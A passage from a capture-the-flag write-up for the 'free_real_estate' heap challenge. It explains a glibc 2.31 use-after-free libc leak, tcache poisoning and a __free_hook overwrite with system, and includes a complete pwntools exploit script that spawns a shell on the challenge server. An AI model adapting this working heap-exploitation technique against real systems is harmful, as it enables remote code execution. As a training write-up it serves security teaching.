will take part. Remember that change_username
is able to forge chunks located between username
and username+0x427
. And the street
& comment
chunk (0x000055802d04d490
) is located on there.
What we’re going to do now is with change_username
, forge the 0x000055802d04d490
chunk’s size metadata to 0x51
, and then we’re going to edit it to 0x61
with value the system
address, so that we will:
- Free the forged chunk and put it inside 0x51 tcachebins instead of 0x61
- Allocate 0x60 chunk (which mean
street
/comment
will points to __free_hook
now)
- Allocated the
system
address to the __free_hook
via edit_property
by editing the street
/comment
1
2
3
|
change_username(r, 500, p64(0)*31 + p64(0x51)) # Forge metadata of the chunk's size to 0x51
edit_property(r, 0x20, b'a'*0x8, 0) # Reset the stored size value first
edit_property(r, 0x49, p64(system), 0) # Instead of freeing the 0x60 chunk, it will free the 0x51 and malloc 0x60 chunk
|
After the above code, we’re finally overwrite the __free_hook
with system
. Now, we just need to change the street
value to /bin/sh\x00
and free
it 😄
1
2
3
|
edit_property(r, 0, p64(system), 13, b'/bin/sh\x00', True)
edit_property(r, 0, p64(system), 0x90, b'', True, True)
r.interactive()
|
Finally, we got the shell!
Final script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
|
from pwn import *
from pwn import p64, u64, p32, u32
context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")
exe = ELF("./free_real_estate")
libc = ELF("./libc-2.31.so")
ld = ELF("./ld-2.31.so")
main_arena = 0x1ecb80
context.binary = exe
def conn():
print(args)
if args.LOCAL:
r = process([exe.path])
if args.PLT_DEBUG:
gdb.attach(r)
else:
r = remote("challenge.nahamcon.com", 32491)
return r
def add_property(r, lsn, sn, lc, comment=''):
r.sendlineafter(b'> ', b'2')
r.sendlineafter(b'Enter the house number: ', str(10).encode()) # Isn't useful. Just set any value.
r.sendlineafter(b'What is the length of the street name: ', str(lsn).encode())
r.sendlineafter(b'Enter the street name: ', sn)
r.sendlineafter(b'What is the price of the property?: ', str(10).encode()) # Isn't useful. Just set any value.
if lc == 0:
r.sendlineafter(b'Would you like to add a comment for this property? [y/n]: ', b'n')
else:
r.sendlineafter(b'Would you like to add a comment for this property? [y/n]: ', b'y')
r.sendlineafter(b'What is the length of the comment?: ', str(lc).encode())
r.sendlineafter(b'Enter the comment: ', comment)
def edit_property(r, lsn, sn, lc, comment='', change_comment=False, is_free_hook_overwritted=False):
r.sendlineafter(b'> ', b'4')
r.sendlineafter(b'Would you like to change the house number? [y/n]: ', b'n') # Isn't useful. No need to edit.
if lsn == 0:
r.sendlineafter(b'Would you like to change the street? [y/n]: ', b'n')
else:
r.sendlineafter(b'Would you like to change the street? [y/n]: ', b'y')
r.sendlineafter(b'Enter the new street name length: ', str(lsn).encode())
r.sendlineafter(b'Enter the new street name: ', sn)
r.sendlineafter(b'Would you like to change the price of the property? [y/n]: ', b'n') # Isn't useful. No need to edit.
if lc == 0:
r.sendlineafter(b'Would you like to change the comment? [y/n]: ', b'n')
else:
if not change_comment:
r.sendlineafter(b'Would you like to add a comment for this property? [y/n]: ', b'y')
r.sendlineafter(b'What is the length of the comment?: ', str(lc).encode())
r.sendlineafter(b'Enter the comment: ', comment)
else:
r.sendlineafter(b'Would you like to change the comment? [y/n]: ', b'y')
r.sendlineafter(b'Enter the new comment length: ', str(lc).encode())
if is_free_hook_overwritted:
# No need to enter new comment, as we have overwritten it with system
return
r.sendlineafter(b'Enter the new comment: ', comment)
def remove_property(r):
r.sendlineafter(b'> ', b'3')
def show_property(r):
r.sendlineafter(b'> ', b'1')
r.recvline().strip()
r.recvline().strip()
r.recvline().strip()
r.recvline().strip()
r.recvline().strip()
comment = r.recvline().strip().split(b': ')[1] # We only care the comment value
return comment
def change_username(r, ln, name):
r.sendlineafter(b'> ', b'5')
r.sendlineafter(b'What is the length of your new name?: ', str(ln).encode())
r.sendlineafter(b'Enter your new name: ', name)
r = conn()
# After first connection, by default the binary will call malloc(0x40)
# and use this heap chunk for property variable
r.sendlineafter(b'Enter your name: ', p64(0xdeadbeef))
'''
Part 1: Leak Libc base address
'''
# Create big chunk for Comment
# Chunk-1: Street name
# Chunk-2: Comment
add_property(r, 0x10, b'lmao', 0x427, b'lmao')
# Prevent consolidate
# Chunk-1 got freed -> tcache
# Chunk-3: Street name
edit_property(r, 0x20, b'lmao', 0)
# Free all
# Chunk-2 got freed -> unsorted_bin due to its large size
# Chunk-3 got freed -> Tcache
remove_property(r)
# Due to bug on remove_property, even though we create a new property without comment,
# the property's comment still point to the freed chunk, hence we can leak libc address
# via show_property due to the fact that unsorted_bin point to libc main_arena + 0x60.
# Create new property without comment & show its property
add_property(r, 0x10, b'lmao', 0)
leaked_libc = u64(show_property(r).ljust(8, b'\x00'))
log.info(f'leaked_libc: {hex(leaked_libc)}')
libc_base = leaked_libc - main_arena - 0x60
log.info(f'libc_base: {hex(libc_base)}')
libc.address = libc_base
free_hook = libc.symbols['__free_hook']
system = libc.symbols['system']
log.info(f'__free_hook@libc: {hex(free_hook)}')
log.info(f'system@libc: {hex(system)}')
'''
Part 2: Overwrite __free_hook with system
'''
# Final target will be to:
# - Tcache poisoning to overwrite the freed chunk pointer with __free_hook
# We want to clean it up. To be able to call remove_property, we need to malloc(0x427+1)
# to fill up the freed chunk of comment, so that we won't double free comment chunk.
# The trick is we can leverage change_username feature to do this
change_username(r, 0x427, b'lmao')
remove_property(r)
# Notice that now, username and comment still points to the same pointer
# To make it points to different pointer, we simply create new property
# and remove it.
# Notes:
# - The street chunk will use the unsorted bin cache by reducing its size
# because we don't have any tcache yet with size 0xa1.
# - The comment chunk will use the tcache[0x30]
# Also notes that:
# - The stored size of username is 0x427+1
# - The username is still pointing to the unsorted bin chunk
# - Now, everytime we try to alloc a chunk size that is < unsorted bin chunk size
# it will use the unsorted bin chunk by reducing its chunk size per alloc
# - And because the code is allowing us to change the username value without free & malloc
# if the size is < stored size (0x427+1), basically after this moment, we can rewrite
# new chunks those use the unsorted bin chunks via change username :)
add_property(r, 0x89, b'lmao', 0x20, b'lmao')
remove_property(r)
# Now username and comment isn't pointing to the same chunk
# Notice that due to the freed comment chunk is not nulled by remove_property,
# not only we can leak the freed chunk content, we can also overwrite it via
# edit_property.
# Notice that the freed order in remove_property are:
# - Comment
# - Street (and nulled it)
# - Property (and nulled itself)
# However, because we can only manipulate the freed comment chunk, we need to place the
# freed comment chunk as the second entry of the tcache bins.
# How to achieve that? We can use the edit_property
# We plan to manipulate tcache[0x60], so we set the chunk size to 0x49+1
# Create two 0x60 chunks (street and comment)
add_property(r, 0x49, b'lmao', 0x49, b'lmao')
# Edit the street name to higher chunk size.
# Now, tcache[0x60][0] = address of old street chunk
edit_property(r, 0x59, b'lmao', 0)
# Now, call remove_property. It will freed comment, street, and property itself
# State after remove:
# tcache_bins[0x60] = old street chunk <- comment chunk
remove_property(r)
# Create new property without comment. We're going to overwrite the freed comment chunk
add_property(r, 0x20, b'lmao', 0)
# Edit it to free_hook address
# After state:
# tcache_bins[0x60] = __free_hook <- comment chunk
edit_property(r, 0, b'lmao', 0x20, p64(free_hook), True)
# Make malloc(0x49+1) to use the tcache_bins[0x60]
# After state:
# tcache_bins[0x60] = __free_hook
# street and comment pointing to the same chunk due to this
edit_property(r, 0x49, b'a'*0x8, 0)
# Tricky part is here. Remember that:
# - username's stored size is 0x478
# - username chunk address is lower than the current property chunk
# - So far, based on GDB, we have used the unsorted bin chunk
# about 0x01+0x60+0x60+0x70
# - We want to modify the chunk size of the street, which is
# the second 0x60 chunk starting from the address that username points
change_username(r, 500, p64(0)*31 + p64(0x51))
# Change the street stored size to smaller size first
edit_property(r, 0x20, b'a'*0x8, 0)
# Because we alloc larger size than 0x20, edit_property will free & alloc.
# And because we forge the chunk size to 0x51, now this edit will:
# - Free 0x50 chunk
# - Malloc(0x49+1) to use the tcache_bins[0x60]. Because bins is pointing to
# __free_hook, the street name is now pointing to it
edit_property(r, 0x49, p64(system), 0)
# Set the comment value to /bin/sh
edit_property(r, 0, p64(system), 13, b'/bin/sh\x00', True)
# Free the comment, and we will call
# system('/bin/sh\x00')
edit_property(r, 0, p64(system), 0x90, b'', True, True)
r.interactive()
|
Follow me on twitter